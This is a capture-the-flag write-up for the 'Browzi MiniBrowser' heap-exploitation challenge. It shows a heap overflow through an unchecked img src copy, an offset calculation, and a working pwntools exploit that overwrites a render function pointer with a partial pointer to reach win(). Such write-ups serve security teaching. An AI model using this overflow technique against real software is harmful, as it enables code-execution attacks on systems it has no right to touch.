Browzi MiniBrowser — heap exploitation (ENSET Challenge 2026)
Heap exploitation writeup for Browzi MiniBrowser, abusing an unchecked img src copy to overwrite a heap function pointer and redirect rendering to win().
Overview
Browzi was a pwn challenge from ENSET Challenge 2026. The binary implemented a minimal HTML parser and rendering engine. It parsed user-controlled HTML, built a DOM-like Node, and used a RenderOps table for callbacks.
During rendering, the program called:
1
n->ops->render(n);
The exploitation goal was to overwrite ops->render and redirect execution to the hidden win() function.
Structures
The important structures were:
1
2
3
4
5
6
7
8
9
struct Node {
char type[16];
char id[32];
RenderOps *ops;
struct Node *parent;
struct Node *first_child;
struct Node *next_sibling;
char data[128];
};
1
2
3
4
5
struct RenderOps {
void (*render)(struct Node *);
void (*onload)(struct Node *);
void (*onerror)(struct Node *);
};
Key observations:
| Observation | Meaning |
|---|---|
id is bounded to 32 bytes | No useful overflow through id |
No src field exists | The src attribute is stored in data[128] |
RenderOps is allocated after Node | A heap overflow from data can reach callbacks |
render is called indirectly | A function pointer overwrite can control RIP |
Vulnerability
The vulnerable vector was:
1
<img src="...">
The src content was copied into data[128] without bounds checking. Because the adjacent RenderOps structure was nearby on the heap, overflowing data could overwrite:
1
ops->render
Failed attempts
I tested several input vectors before the useful one:
| Attempt | Payload | Result |
|---|---|---|
id overflow | <div id="AAAA..."> | Input truncated, no overflow |
| Invalid attribute | <div src="AAAA..."> | Parser ignored it |
| Image source | <img src="AAAA..."> | Crash and control over execution |
The correct attack surface was the img src parser path.
Offset calculation
From GDB and heap layout inspection:
1
2
data -> offset 0x50
RenderOps -> offset 0xe0
So the overwrite distance was:
1
offset = 0xe0 - 0x50 = 144
Exploitation target
The goal was:
1
ops->render -> win
So the normal call:
1
n->ops->render(n);
would become:
1
win(n);
Null-byte constraint
A full pointer overwrite with p64(win_addr) failed because the string copy stopped at \x00. Short partial overwrites also corrupted the pointer because the C string terminator landed in the wrong byte.
The useful insight was to overwrite only six bytes:
1
p64(win_addr)[:6]
The high two bytes of a canonical userspace address were already zero, and the string terminator completed the pointer cleanly.
Final exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.arch = "amd64"
r = remote("167.86.100.105", 5001)
r.recvuntil(b"render_div @ ")
render_div = int(r.recvline().strip(), 16)
win_addr = render_div - 0xb6
log.success(f"render_div = {hex(render_div)}")
log.success(f"win = {hex(win_addr)}")
offset = 144
target = p64(win_addr)[:6]
payload = b'<img src="' + b'A' * offset + target + b'">'
r.sendline(payload)
r.sendline(b"")
r.interactive()
Result:
1
2
=== CONGRATULATIONS! ===
N7{br0wz1_us3_4ft3r_fr33_d0m_m4n1pul4t10n}
Summary
| Step | Action |
|---|---|
| 1 | Leak render_div |
| 2 | Compute win |
| 3 | Use the <img src> parser path |
| 4 | Overflow data[128] |
| 5 | Overwrite ops->render with a 6-byte partial pointer |
| 6 | Trigger rendering and reach win() |
Lessons learned
The challenge showed why heap layout matters as much as the vulnerable copy itself. The bug was reachable only through the correct HTML attribute path, and the final exploit depended on respecting C string truncation. GDB was needed to validate the offset, pointer corruption pattern and final partial overwrite.